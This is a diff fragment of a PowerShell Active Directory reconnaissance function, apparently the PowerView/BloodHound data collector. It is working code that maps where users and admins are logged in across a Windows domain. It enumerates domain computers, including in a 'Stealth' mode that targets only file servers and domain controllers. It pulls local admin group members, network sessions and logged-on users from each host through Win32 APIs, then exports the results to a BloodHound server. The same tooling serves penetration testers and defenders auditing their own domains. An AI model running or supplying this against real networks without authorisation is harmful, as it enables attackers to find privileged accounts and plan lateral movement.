+ else {
+ # use the local domain
+ $TargetDomains = @( (Get-NetDomain).name )
+ }
+
+ ForEach ($Domain2 in $TargetDomains) {
+ if($CollectionMethod -eq 'Stealth') {
+ Write-Verbose "Querying domain $Domain2 for File Servers..."
+ $TargetComputers += Get-NetFileServer -Domain $Domain2 -DomainController $DomainController
+
+ Write-Verbose "Querying domain $Domain2 for DFS Servers..."
+ $TargetComputers += Get-DFSshare -Domain $Domain2 -DomainController $DomainController | ForEach-Object {$_.RemoteServerName}
+
+ Write-Verbose "Querying domain $Domain2 for Domain Controllers..."
+ $TargetComputers += Get-NetDomainController -LDAP -Domain $Domain2 -DomainController $DomainController | ForEach-Object { $_.dnshostname}
+ }
+ else {
+ Write-Verbose "Querying domain $Domain2 for hosts"
+
+ $TargetComputers += Get-NetComputer -Domain $Domain2 -DomainController $DomainController
+ }
+
+ if($UseGPOGroup) {
+ Write-Verbose "Enumerating GPO local group memberships for domain $Domain2"
+ Find-GPOLocation -Domain $Domain2 -DomainController $DomainController | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
+
+ # add in a local administrator relationship for "Domain Admins" -> every machine
+ $DomainSID = Get-DomainSID -Domain $Domain2 -DomainController $DomainController
+ $DomainAdminsSid = "$DomainSID-512"
+ $Temp = Convert-SidToName -SID $DomainAdminsSid
+ $DomainAdminsName = $Temp.Split('\')[1]
+
+ Get-NetComputer -Domain $Domain2 -DomainController $DomainController | ForEach-Object {
+ $LocalUser = New-Object PSObject
+ $LocalUser | Add-Member Noteproperty 'MemberName' $DomainAdminsName
+ $LocalUser | Add-Member Noteproperty 'MemberDomain' $Domain2
+ $LocalUser | Add-Member Noteproperty 'IsGroup' $True
+ $LocalUser | Add-Member Noteproperty 'ComputerName' $_
+ $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserSpecified')
+ $LocalUser | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
+ }
+ }
+ }
+
+ # remove any null target hosts, uniquify the list and shuffle it
+ $TargetComputers = $TargetComputers | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
+ if($($TargetComputers.Count) -eq 0) {
+ Write-Warning "No hosts found!"
+ }
}
-
- # remove any null target hosts, uniquify the list and shuffle it
- $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
- if($($ComputerName.Count) -eq 0) {
- throw "No hosts found!"
+ else {
+ $TargetComputers = $ComputerName
}
}
+ # get the current user so we can ignore it in the results
+ $CurrentUser = ([Environment]::UserName).toLower()
+
# script block that enumerates a server
$HostEnumBlock = {
- param($ComputerName, $Ping)
+ param($ComputerName, $Ping, $CurrentUser2, $UseLocalGroup2, $UseSession2, $UseLoggedon2)
$Up = $True
if($Ping) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
}
if($Up) {
- # grab the users for the local admins on this server
- Get-NetLocalGroup -ComputerName $ComputerName -API | Where-Object {$_.IsDomain}
+
+ if($UseLocalGroup2) {
+ # grab the users for the local admins on this server
+ Get-NetLocalGroup -ComputerName $ComputerName -API | Where-Object {$_.IsDomain}
+ }
$IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress
- $Sessions = Get-NetSession -ComputerName $ComputerName
- ForEach ($Session in $Sessions) {
- $UserName = $Session.sesi10_username
- $CName = $Session.sesi10_cname
+ if($UseSession2) {
+ $Sessions = Get-NetSession -ComputerName $ComputerName
+ ForEach ($Session in $Sessions) {
+ $UserName = $Session.sesi10_username
+ $CName = $Session.sesi10_cname
- if($CName -and $CName.StartsWith("\\")) {
- $CName = $CName.TrimStart("\")
- }
+ if($CName -and $CName.StartsWith("\\")) {
+ $CName = $CName.TrimStart("\")
+ }
- # make sure we have a result
- if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and (!($UserName -match $CurrentUser))) {
+ # make sure we have a result
+ if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$') -and ($UserName -notmatch $CurrentUser2)) {
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $Null
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
+ $FoundUser = New-Object PSObject
+ $FoundUser | Add-Member Noteproperty 'UserDomain' $Null
+ $FoundUser | Add-Member Noteproperty 'UserName' $UserName
+ $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName
- # Try to resolve the DNS hostname of $Cname
- try {
- $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
- }
- catch {
- $CNameDNSName = $CName
+ # Try to resolve the DNS hostname of $Cname
+ try {
+ $CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
+ }
+ catch {
+ $CNameDNSName = $CName
+ }
+ $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
+ $FoundUser
}
- $FoundUser | Add-Member NoteProperty 'SessionFromName' $CNameDNSName
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
}
}
- $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
- ForEach ($User in $LoggedOn) {
- $UserName = $User.wkui1_username
- $UserDomain = $User.wkui1_logon_domain
+ if($UseLoggedon2) {
+ $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName
+ ForEach ($User in $LoggedOn) {
+ $UserName = $User.wkui1_username
+ $UserDomain = $User.wkui1_logon_domain
+
+ # ignore local account logons
+ # TODO: better way to determine if network logon or not
+ if($ComputerName -notmatch "^$UserDomain") {
+ if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) {
+ $FoundUser = New-Object PSObject
+ $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $FoundUser | Add-Member Noteproperty 'UserName' $UserName
+ $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
+ $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
+ $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
+ $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
+ $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
+ $FoundUser
+ }
+ }
+ }
+
+ $LocalLoggedOn = Get-LoggedOnLocal -ComputerName $ComputerName
+ ForEach ($User in $LocalLoggedOn) {
+ $UserName = $User.UserName
+ $UserDomain = $User.UserDomain
- # ignore local account logons
- # TODO: better way to determine if network logon or not
- if($ComputerName -notmatch "^$UserDomain") {
- if (($UserName) -and ($UserName.trim() -ne '') -and ($UserName -notmatch '\$')) {
+ # ignore local account logons ?
+ if($ComputerName -notmatch "^$UserDomain") {
$FoundUser = New-Object PSObject
$FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$FoundUser | Add-Member Noteproperty 'UserName' $UserName
@@ -6783,60 +13724,48 @@ function Get-BloodHoundData {
$FoundUser
}
}
- }
-
- $LocalLoggedOn = Get-LoggedOnLocal -ComputerName $ComputerName
- ForEach ($User in $LocalLoggedOn) {
- $UserName = $User.UserName
- $UserDomain = $User.UserDomain
-
- # ignore local account logons
- if($ComputerName -notmatch "^$UserDomain") {
- $FoundUser = New-Object PSObject
- $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $FoundUser | Add-Member Noteproperty 'UserName' $UserName
- $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress
- $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null
- $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null
- $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null
- $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession')
- $FoundUser
- }
}
}
}
}
process {
+ if (-not $SkipComputerEnumeration) {
+ if($Threads) {
+ Write-Verbose "Using threading with threads = $Threads"
+
+ # if we're using threading, kick off the script block with Invoke-ThreadedFunction
+ $ScriptParams = @{
+ 'Ping' = $True
+ 'CurrentUser2' = $CurrentUser
+ 'UseLocalGroup2' = $UseLocalGroup
+ 'UseSession2' = $UseSession
+ 'UseLoggedon2' = $UseLoggedon
+ }
- if($Threads) {
- Write-Verbose "Using threading with threads = $Threads"
-
- # if we're using threading, kick off the script block with Invoke-ThreadedFunction
- $ScriptParams = @{
- 'Ping' = $True
+ Invoke-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
}
- Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
- }
-
- else {
- if($ComputerName.count -ne 1) {
- # ping all hosts in parallel
- $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop) { $ComputerName }}
- $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
- }
+ else {
+ if($TargetComputers.Count -ne 1) {
+ # ping all hosts in parallel
+ $Ping = {param($ComputerName2) if(Test-Connection -ComputerName $ComputerName2 -Count 1 -Quiet -ErrorAction Stop) { $ComputerName2 }}
+ $TargetComputers2 = Invoke-ThreadedFunction -NoImports -ComputerName $TargetComputers -ScriptBlock $Ping -Threads 100
+ }
+ else {
+ $TargetComputers2 = $TargetComputers
+ }
- Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)"
- $Counter = 0
+ Write-Verbose "[*] Total number of active hosts: $($TargetComputers2.count)"
+ $Counter = 0
- ForEach ($Computer in $ComputerName) {
+ ForEach ($Computer in $TargetComputers2) {
- $Counter = $Counter + 1
- Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))"
+ $Counter = $Counter + 1
+ Write-Verbose "[*] Enumerating server $Computer ($Counter of $($TargetComputers2.count))"
- Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList @($Computer, $False) | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
+ Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList @($Computer, $False, $CurrentUser, $UseLocalGroup, $UseSession, $UseLoggedon) | Export-BloodHoundData -BloodHoundUri $BloodHoundUri -BloodhoundUserPass $BloodHoundUserPass -Throttle $Throttle
+ }
}
}
}
@@ -6856,15 +13785,63 @@ $Mod = New-InMemoryModule -ModuleName Win32
# all of the Win32 API functions we need
$FunctionDefinitions = @(
+ (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
- (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
+ (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
- (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())),
- (func kernel32 GetLastError ([Int]) @())
+ (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
+ (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
+ (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
+ (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
+ (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
+ (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
+ (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
+ (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
+ (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
+ (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
)
+# enum used by $WTS_SESSION_INFO_1 below
+$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
+ Active = 0
+ Connected = 1
+ ConnectQuery = 2
+ Shadow = 3
+ Disconnected = 4
+ Idle = 5
+ Listen = 6
+ Reset = 7
+ Down = 8
+ Init = 9
+}
+
+# the WTSEnumerateSessionsEx result structure
+$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
+ ExecEnvId = field 0 UInt32
+ State = field 1 $WTSConnectState
+ SessionId = field 2 UInt32
+ pSessionName = field 3 String -MarshalAs @('LPWStr')
+ pHostName = field 4 String -MarshalAs @('LPWStr')
+ pUserName = field 5 String -MarshalAs @('LPWStr')
+ pDomainName = field 6 String -MarshalAs @('LPWStr')
+ pFarmName = field 7 String -MarshalAs @('LPWStr')
+}
+
+# the particular WTSQuerySessionInformation result structure
+$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
+ AddressFamily = field 0 UInt32
+ Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
+}
+
+# the NetShareEnum result structure
+$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
+ shi1_netname = field 0 String -MarshalAs @('LPWStr')
+ shi1_type = field 1 UInt32
+ shi1_remark = field 2 String -MarshalAs @('LPWStr')
+}
+
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
wkui1_username = field 0 String -MarshalAs @('LPWStr')
@@ -6938,8 +13915,7 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
DomainGuid = field 7 Guid
}
-
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
-$Kernel32 = $Types['kernel32']
+$Wtsapi32 = $Types['wtsapi32']